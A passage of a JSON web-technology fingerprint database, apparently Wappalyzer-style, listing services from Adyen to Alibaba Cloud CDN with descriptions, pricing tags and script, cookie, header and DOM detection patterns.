\"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.adyen.com\"\n  },\n  \"Aedi\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Aedi is a provider of AI solutions for ecommerce.\",\n    \"js\": {\n      \"aediRcv\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.aedi\\\\.ai/\"\n    ],\n    \"website\": \"https://aedi.ai\"\n  },\n  \"Aegea\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Aegea is a blog engine created by Ilya Birman.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^(?:E2\\\\s)?Aegea\\\\s(?:v)?([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Aegea.png\",\n    \"implies\": [\n      \"PHP\",\n      \"jQuery\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"website\": \"https://blogengine.ru\"\n  },\n  \"Aero Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Aero Commerce is a performance-based platform designed with the evolving needs of retailers in mind.\",\n    \"icon\": \"Aero Commerce.svg\",\n    \"js\": {\n      \"AeroComponents\": \"\",\n      \"AeroEvents.on\": \"\",\n      \"iosAEROBook\": \"\",\n      \"iosAEROBookCalcTotal\": \"\",\n      \"iosAEROTrim\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.aerocommerce.com\"\n  },\n  \"Affilae\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Affilae is an affiliate marketing platform that enables brands to connect, collaborate with influencers and affiliates.\",\n    \"icon\": \"Affilae.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.affilae\\\\.com/(?:.+v([\\\\d\\\\.]+)|.+)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://affilae.com\"\n  },\n  \"Affiliate B\": {\n    \"cats\": [\n      71,\n      36\n    ],\n    \"description\": \"Affiliate B is an advertising system that allows site operators (HP, blogs, e-mail newsletters, etc.) to place advertiser advertisements on their own sites.\",\n    \"dom\": [\n      \"img[src*='www.afi-b.com']\"\n    ],\n    \"icon\": \"Affiliate B.svg\",\n    \"scriptSrc\": [\n      \"t\\\\.afi-b\\\\.com\"\n    ],\n    \"website\": \"https://affiliate-b.com\"\n  },\n  \"Affiliate Future\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Affiliate Future is a provider of advertisers with marketing solution through its affiliate network and tools.\",\n    \"dom\": [\n      \"img[src*='banners.affiliatefuture.com']\"\n    ],\n    \"icon\": \"Affiliate Future.png\",\n    \"scriptSrc\": [\n      \"tags\\\\.affiliatefuture\\\\.com\"\n    ],\n    \"website\": \"https://affiliatefuture.com\"\n  },\n  \"Affiliatly\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Affiliatly is an affiliate marketing software for ecommerce store owners.\",\n    \"icon\": \"Affiliatly.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.affiliatly\\\\.com/\"\n    ],\n    \"website\": \"https://www.affiliatly.com\"\n  },\n  \"Affilio\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Affilio is an Iranian affiliate marketing platform.\",\n    \"dom\": [\n      \"a[href*='.affilio.ir/'][target='_blank']\"\n    ],\n    \"icon\": \"Affilio.svg\",\n    \"js\": {\n      \"Affilio.widget\": \"\"\n    },\n    \"website\": \"https://affilio.ir\"\n  },\n  \"Affilo\": {\n    \"cats\": [\n      71,\n      100\n    ],\n    \"description\": \"Affilo is an all-in-one solution for referrals and affiliate marketing.\",\n    \"icon\": \"Affilo.svg\",\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//affilo\\\\.io/\"\n    ],\n    \"website\": \"https://affilo.io\"\n  },\n  \"Affirm\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Affirm is a loan company that allows users to buy goods or services offered by online merchants and pay off those purchases in fixed monthly payments.\",\n    \"dom\": [\n      \"link[href*='.affirm.com']\"\n    ],\n    \"icon\": \"Affirm.svg\",\n    \"js\": {\n      \"_affirm_config\": \"\",\n      \"affirm.Rollbar\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.affirm\\\\.com/js/v([\\\\d\\\\.]+)/affirm\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.affirm.com\"\n  },\n  \"Afosto\": {\n    \"cats\": [\n      6\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"Afosto SaaS BV\\\\;version:2.0\"\n    },\n    \"icon\": \"Afosto.svg\",\n    \"website\": \"https://afosto.com\"\n  },\n  \"AfterBuy\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"AfterBuy is a software company that specialises in ecommerce software for small to enterprise level businesses.\",\n    \"icon\": \"AfterBuy.svg\",\n    \"js\": {\n      \"AfterbuyString\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.afterbuy\\\\.de/\"\n    ],\n    \"website\": \"https://www.afterbuy.de\"\n  },\n  \"AfterShip\": {\n    \"cats\": [\n      107\n    ],\n    \"description\": \"AfterShip provides automated shipment tracking as a service.\",\n    \"icon\": \"AfterShip.svg\",\n    \"js\": {\n      \"aftership.__VERSION__\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.aftership.com\"\n  },\n  \"AfterShip Returns Center\": {\n    \"cats\": [\n      102\n    ],\n    \"description\": \"AfterShip Returns Center is an interactive self-service return solution.\",\n    \"dom\": [\n      \"a[href*='.returnscenter.com']\"\n    ],\n    \"icon\": \"AfterShip Returns Center.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"url\": [\n      \"https.+\\\\.returnscenter\\\\.com\"\n    ],\n    \"website\": \"https://www.aftership.com/returns\"\n  },\n  \"Afterpay\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"cpe\": \"cpe:2.3:a:afterpay:afterpay:*:*:*:*:*:*:*:*\",\n    \"description\": \"Afterpay is a 'buy now, pay later' platform that makes it possible to pay off purchased goods in fortnightly instalments.\",\n    \"dom\": [\n      \"#afterpay, .afterpay, .AfterpayMessage, [aria-label='Afterpay'], link[href*='/wp-content/plugins/afterpay-gateway-for-woocommerce/']\"\n    ],\n    \"icon\": \"afterpay.svg\",\n    \"js\": {\n      \"Afterpay\": \"\",\n      \"Afterpay.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"AfterpayAttractWidget\": \"\",\n      \"AfterpayGenericErrorHtml\": \"\",\n      \"AfterpayWidgetHtml\": \"\",\n      \"afterpay_product\": \"\",\n      \"checkout.enabledpayments.afterpay\": \"^true$\"\n    },\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"portal\\\\.afterpay\\\\.com\",\n      \"static\\\\.afterpay\\\\.com\",\n      \"present-afterpay\\\\.js\",\n      \"afterpay-products\\\\.min\\\\.js\",\n      \"js\\\\.stripe\\\\.com/v3/fingerprinted/js/elements-afterpay-clearpay-message-.+\\\\.js\"\n    ],\n    \"website\": \"https://www.afterpay.com/\"\n  },\n  \"Age Gate\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"A plugin to check the age of a visitor for Wordpress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/age-gate/'], .age-gate, .age-gate-form, button[name='age_gate[confirm]']\"\n    ],\n    \"icon\": \"Age Gate.png\",\n    \"js\": {\n      \"age_gate\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"age-gate(?:\\\\/dist)?(?:\\\\/all)?(?:\\\\/focus)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/age-gate\"\n  },\n  \"Agile CRM\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Agile CRM is a software for Customer Relationship Management (CRM) that provides sales and marketing automation features for businesses.\",\n    \"icon\": \"AgileCRM.svg\",\n    \"js\": {\n      \"AgileCRMTracker\": \"\",\n      \"Agile_API\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.agilecrm.com\"\n  },\n  \"Agoda\": {\n    \"cats\": [\n      104\n    ],\n    \"description\": \"Agoda is an online travel platform offering its services globally via its app and website.\",\n    \"dom\": [\n      \"link[href*='banner.agoda.com']\"\n    ],\n    \"icon\": \"Agoda.svg\",\n    \"js\": {\n      \"agoda\": \"\",\n      \"agoda_ad_client\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.agoda.com\"\n  },\n  \"Ahoy\": {\n    \"cats\": [\n      10\n    ],\n    \"cookies\": {\n      \"ahoy_track\": \"\",\n      \"ahoy_visit\": \"\",\n      \"ahoy_visitor\": \"\"\n    },\n    \"description\": \"Ahoy is a Ruby gem that provides simple and powerful analytics for Ruby on Rails applications.\",\n    \"implies\": [\n      \"Ruby on Rails\"\n    ],\n    \"js\": {\n      \"ahoy\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/ankane/ahoy\"\n  },\n  \"Ahrefs\": {\n    \"cats\": [\n      54,\n      10\n    ],\n    \"description\": \"Ahrefs is an online toolset utilised for search engine optimisation (SEO) and competitor analysis, which permits users to analyse their website's performance, track keyword rankings, identify backlink opportunities, and research competitors' websites, among other features.\",\n    \"icon\": \"ahrefs.svg\",\n    \"meta\": {\n      \"ahrefs-site-verification\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"mid\"\n    ],\n    \"website\": \"https://ahrefs.com\"\n  },\n  \"AiSpeed\": {\n    \"cats\": [\n      92,\n      100\n    ],\n    \"description\": \"AiSpeed is a shopify app focused on improving site speed.\",\n    \"icon\": \"AiSpeed.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"aispeed_init\": \"\"\n    },\n    \"scriptSrc\": [\n      \"aispeed\\\\.js\"\n    ],\n    \"website\": \"https://apps.shopify.com/aispeed\"\n  },\n  \"AiTrillion\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"AiTrillion is a marketing automation platform for ecommerce, offering tools for email campaigns, customer segmentation, loyalty programs, and product recommendations.\",\n    \"icon\": \"AiTrillion.svg\",\n    \"js\": {\n      \"aioAccessModule\": \"\",\n      \"aioMeta.meta_e\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.aitrillion\\\\.com/\"\n    ],\n    \"website\": \"https://www.aitrillion.com\"\n  },\n  \"Aidbase\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Aidbase is an AI-driven support ecosystem designed to enhance user experiences.\",\n    \"icon\": \"Aidbase.svg\",\n    \"js\": {\n      \"AIDBASE_CHATBOT_ID\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.aidbase.ai\"\n  },\n  \"Aiden\": {\n    \"cats\": [\n      108\n    ],\n    \"description\": \"Aiden is a tool designed for ecommerce, guiding customers in finding the right products, similar to an in-store experience, which helps improve conversion rates.\",\n    \"icon\": \"Aiden.svg\",\n    \"js\": {\n      \"_aiden.push\": \"\",\n      \"_aidenApp.openAdvisor\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.aiden.cx\"\n  },\n  \"Aimerce\": {\n    \"cats\": [\n      32,\n      100\n    ],\n    \"description\": \"Aimerce is an AI-powered, privacy-focused solution that utilises first-party data to support Shopify brands in a cookieless environment, enhancing data potential and increasing marketing revenue.\",\n    \"icon\": \"Aimerce.svg\",\n    \"js\": {\n      \"AimerceAnalytics\": \"\"\n    },\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.aimerce\\\\.ai/\"\n    ],\n    \"website\": \"https://www.aimerce.ai/\"\n  },\n  \"Aimtell\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Aimtell is a cloud-hosted marketing platform that allows digital marketers and businesses to deliver web-based push notifications.\",\n    \"icon\": \"Aimtell.svg\",\n    \"js\": {\n      \"_aimtellLoad\": \"\",\n      \"_aimtellPushToken\": \"\",\n      \"_aimtellWebhook\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.aimtell\\\\.\\\\w+/\"\n    ],\n    \"website\": \"https://aimtell.com\"\n  },\n  \"Air360\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Air360 is a technology company that specialises in performance-enhancing, mobile and ecommerce experience analytics.\",\n    \"icon\": \"Air360.svg\",\n    \"js\": {\n      \"Air360.SDK_Version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.air360.io\"\n  },\n  \"AirRobe\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"AirRobe partners with brands and retailers to power the circular fashion economy.\",\n    \"icon\": \"AirRobe.svg\",\n    \"js\": {\n      \"airrobe.app_id\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://airrobe.com\"\n  },\n  \"Airbridge\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Airbridge is a marketing attribution tool that helps you measure and attribute growth to your marketing campaigns.\",\n    \"icon\": \"Airbridge.svg\",\n    \"js\": {\n      \"airBridgeSentData\": \"\",\n      \"airbridge.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.airbridge\\\\.io\"\n    ],\n    \"website\": \"https://www.airbridge.io\"\n  },\n  \"Aircall\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Aircall is a cloud-based phone system for customer support and sales teams.\",\n    \"icon\": \"aircall.png\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"^https?://cdn\\\\.aircall\\\\.io/\"\n    ],\n    \"website\": \"https://aircall.io\"\n  },\n  \"Airee\": {\n    \"cats\": [\n      31,\n      88\n    ],\n    \"description\": \"Airee offers scalable web hosting solutions tailored for internet shops and websites, with enhanced performance, DDoS protection, high availability, and detailed speed and security analytics.\",\n    \"headers\": {\n      \"Server\": \"^Airee\"\n    },\n    \"icon\": \"Airee.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://xn--80aqc2a.xn--p1ai\"\n  },\n  \"Airform\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Airform is a functional HTML forms for front-end developers.\",\n    \"dom\": [\n      \"form[action*='airform.io/']\"\n    ],\n    \"icon\": \"Airform.svg\",\n    \"oss\": true,\n    \"website\": \"https://airform.io\"\n  },\n  \"Airship\": {\n    \"cats\": [\n      32,\n      10\n    ],\n    \"description\": \"Airship is an American company that provides marketing and branding services. Airship allows companies to generate custom messages to consumers via push notifications, SMS messaging, and similar, and provides customer analytics services.\",\n    \"icon\": \"Airship.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"urbanairship\\\\.\\\\w+/notify/v([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.airship.com\"\n  },\n  \"Airtable\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Airtable is a low-code platform for building collaborative apps.\",\n    \"dom\": [\n      \"iframe[scr*='//airtable.com/'], a[href*='//airtable.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Airtable.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.airtable.com\"\n  },\n  \"AitThemes\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"AitThemes is a customisable theme suitable for business, ecommerce, content, and directory websites.\",\n    \"icon\": \"AitThemes.svg\",\n    \"js\": {\n      \"AitSettings\": \"\",\n      \"ait\": \"\"\n    },\n    \"meta\": {\n      \"Author\": \"AitThemes\\\\.club\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ait-themes.club\"\n  },\n  \"Aivo\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Aivo is a conversational AI platform offering omnichannel tools and live agent solutions to automate customer experiences.\",\n    \"icon\": \"Aivo.svg\",\n    \"js\": {\n      \"$aivo\": \"\",\n      \"aivoStorage\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"freemium\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.aivo.co\"\n  },\n  \"Akamai\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Akamai is global content delivery network (CDN) services provider for media and software delivery, and cloud security solutions.\",\n    \"headers\": {\n      \"X-Akamai-Transformed\": \"\",\n      \"X-EdgeConnect-MidMile-RTT\": \"\",\n      \"X-EdgeConnect-Origin-MEX-Latency\": \"\"\n    },\n    \"icon\": \"Akamai.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://akamai.com\"\n  },\n  \"Akamai Bot Manager\": {\n    \"cats\": [\n      16\n    ],\n    \"cookies\": {\n      \"ak_bmsc\": \"\",\n      \"bm_sv\": \"\",\n      \"bm_sz\": \"\"\n    },\n    \"description\": \"Akamai Bot Manager detect bots using device fingerprinting bot signatures.\",\n    \"icon\": \"Akamai.svg\",\n    \"implies\": [\n      \"Akamai\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.akamai.com/us/en/products/security/bot-manager.jsp\"\n  },\n  \"Akamai Web Application Protector\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Akamai Web Application Protector is designed for companies looking for a more automated approach to web application firewall (WAF) and distributed denial-of-service (DDoS) security.\",\n    \"icon\": \"Akamai.svg\",\n    \"implies\": [\n      \"Akamai\"\n    ],\n    \"js\": {\n      \"AKSB\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ds-aksb-a\\\\.akamaihd\\\\.net/aksb.min.js\",\n      \"aksb\\\\.min\\\\.js\\\\;confidence:50\"\n    ],\n    \"website\": \"https://www.akamai.com/us/en/products/security/web-application-protector-enterprise-waf-firewall-ddos-protection.jsp\"\n  },\n  \"Akamai mPulse\": {\n    \"cats\": [\n      78\n    ],\n    \"cookies\": {\n      \"akaas_AB-Testing\": \"\"\n    },\n    \"description\": \"Akamai mPulse is a real user monitoring (RUM) solution that enables companies to monitor, find, and fix website and application performance issues.\",\n    \"dom\": [\n      \"script#boomr-if-as, script#boomr-scr-as, link[href*='s.go-mpulse.net/boomerang/'][rel='preload']\"\n    ],\n    \"html\": [\n      \"<script>[\\\\s\\\\S]*?go-mpulse\\\\.net\\\\/boomerang[\\\\s\\\\S]*?</script>\"\n    ],\n    \"icon\": \"Akamai.svg\",\n    \"implies\": [\n      \"Boomerang\"\n    ],\n    \"js\": {\n      \"BOOMR_API_key\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://developer.akamai.com/akamai-mpulse-real-user-monitoring-solution\"\n  },\n  \"Akaunting\": {\n    \"cats\": [\n      55\n    ],\n    \"cpe\": \"cpe:2.3:a:akaunting:akaunting:*:*:*:*:*:*:*:*\",\n    \"description\": \"Akaunting is a free and online accounting software.\",\n    \"headers\": {\n      \"X-Akaunting\": \"^Free Accounting Software$\"\n    },\n    \"html\": [\n      \"<link[^>]+akaunting-green\\\\.css\",\n      \"Powered By Akaunting: <a [^>]*href=\\\"https?://(?:www\\\\.)?akaunting\\\\.com[^>]+>\"\n    ],\n    \"icon\": \"akaunting.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://akaunting.com\"\n  },\n  \"Akilli Ticaret\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Akilli Ticaret is an all-in-one ecommerce platform from Turkey.\",\n    \"icon\": \"Akilli Ticaret.svg\",\n    \"js\": {\n      \"akillitel\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.akilliticaret\\\\.com/\"\n    ],\n    \"website\": \"https://akilliticaret.com\"\n  },\n  \"Akinon\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Akinon is a cloud-based headless commerce platform with an integrated application suite including omnichannel and marketplace capabilities, mobile and in-store solutions, and an OMS.\",\n    \"icon\": \"akinon.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"cdn-mgsm\\\\.akinon\\\\.net/\"\n    ],\n    \"website\": \"https://www.akinon.com/\"\n  },\n  \"Akismet\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Akismet is a service that filters spam from comments, trackbacks, and contact form messages.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/akismet/']\"\n    ],\n    \"icon\": \"Akismet.svg\",\n    \"js\": {\n      \"ak_js.checkValidity\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/akismet/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://akismet.com\"\n  },\n  \"Akka HTTP\": {\n    \"cats\": [\n      18,\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:lightbend:akka_http:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"akka-http(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"AkkaHttp.svg\",\n    \"website\": \"https://akka.io\"\n  },\n  \"Aklamio\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"Aklamio is a solution for enterprise level referral marketing and customer incentivisation.\",\n    \"dom\": [\n      \"a[href*='.aklamio.com/']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.aklamio\\\\.com\"\n    },\n    \"icon\": \"Aklamio.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.aklamio\\\\.com/\"\n    ],\n    \"website\": \"https://www.aklamio.com\"\n  },\n  \"Aksara CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Aksara CMS is a CodeIgniter based CRUD toolkit.\",\n    \"dom\": [\n      \"div.aksara-footer\"\n    ],\n    \"icon\": \"Aksara CMS.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"CodeIgniter\",\n      \"Bootstrap\",\n      \"jQuery\",\n      \"OpenLayers\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://aksaracms.com\"\n  },\n  \"AlMatjar\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"AlMatjar is an online store builder designed to help users create and manage ecommerce websites.\",\n    \"icon\": \"AlMatjar.svg\",\n    \"meta\": {\n      \"generator\": \"^AlMatjar.store ECommerce Builder$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://almatjar.store\"\n  },\n  \"Albacross\": {\n    \"cats\": [\n      10,\n      77\n    ],\n    \"description\": \"Albacross is a lead generation and account intelligence platform. It helps marketing and sales teams identify their ideal customers visiting their website and gives them the insights they need to generate more qualified leads, make prospecting more efficient and close more deals.\",\n    \"icon\": \"Albacross.svg\",\n    \"js\": {\n      \"_nQsv\": \"^([\\\\d.])$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.albacross\\\\.com\"\n    ],\n    \"website\": \"https://albacross.com\"\n  },\n  \"Alchemer Mobile\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Alchemer Mobile, formerly known as Apptentive, is a tool optimized for mobile, consolidating app-store ratings, reviews, in-app customer feedback, emotion data, and key metrics in one dashboard.\",\n    \"icon\": \"AlchemerMobile.svg\",\n    \"js\": {\n      \"ApptentiveSDK\": \"\",\n      \"ApptentiveSDK.sdk.version\": \"^([\\\\d\\\\.])$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sdk\\\\.apptentive\\\\.com/\"\n    ],\n    \"website\": \"https://www.alchemer.com/mobile/\"\n  },\n  \"AlertifyJS\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"AlertifyJS is a javascript framework for developing browser dialogs and notifications.\",\n    \"icon\": \"AlertifyJS.svg\",\n    \"js\": {\n      \"alertify.defaults.autoReset\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/alertify/alertify\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://alertifyjs.com\"\n  },\n  \"Alexa Certified Site Metrics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Alexa Certified Site Metrics is an analytics service wich monitors and analyses web traffic and can be used to keep track of user behavior.\",\n    \"icon\": \"Alexa.svg\",\n    \"js\": {\n      \"_atrk_opts.domain\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cloudfront\\\\.net/atrk\\\\.js\"\n    ],\n    \"website\": \"https://support.alexa.com/hc/en-us/sections/200063374\"\n  },\n  \"Alfright\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Alfright is a service that ensures GDPR compliance for websites, enhancing privacy standards.\",\n    \"dom\": [\n      \"iframe[src*='app.alfright.eu/']\"\n    ],\n    \"icon\": \"Alfright.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.alfright\\\\.eu/\"\n    ],\n    \"website\": \"https://www.alfright.eu\"\n  },\n  \"Algolia\": {\n    \"cats\": [\n      29\n    ],\n    \"cookies\": {\n      \"_ALGOLIA\": \"\",\n      \"didomiVendorsConsent\": \"\\\\balgolia\\\\b\"\n    },\n    \"description\": \"Algolia offers a hosted web search product delivering real-time results.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.algolia\"\n    },\n    \"icon\": \"Algolia.svg\",\n    \"js\": {\n      \"ALGOLIA_INSIGHTS_SRC\": \"\",\n      \"AlgoliaSearch\": \"\",\n      \"__GLOBAL__.algolia\": \"\",\n      \"__NEXT_DATA__.props.pageProps.appSettings.ALGOLIA_APP_ID\": \"\",\n      \"__algolia\": \"\",\n      \"__algolia.algoliasearch.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"_didomi_vendors_consent\": \"\\\\balgolia\\\\b\",\n      \"algoliasearch.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"didomiState.didomiVendorsConsent\": \"\\\\balgolia\\\\b\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.algolia.com\"\n  },\n  \"Algolia DocSearch\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Algolia DocSearch is a search widget specifically designed for documentation websites.\",\n    \"dom\": [\n      \"link[href*='.algolia.net'][rel='preconnect']\"\n    ],\n    \"icon\": \"DocSearch.svg\",\n    \"implies\": [\n      \"Algolia\"\n    ],\n    \"js\": {\n      \"docsearch.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://docsearch.algolia.com\"\n  },\n  \"Ali Reviews\": {\n    \"cats\": [\n      90,\n      100\n    ],\n    \"description\": \"Ali reviews is a shopify app to collect reviews from customers.\",\n    \"icon\": \"Alireviews.svg\",\n    \"js\": {\n      \"alireviews_tags\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://apps.shopify.com/ali-reviews\"\n  },\n  \"Alibaba Cloud CDN\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Alibaba Cloud CDN is a global network of servers designed to 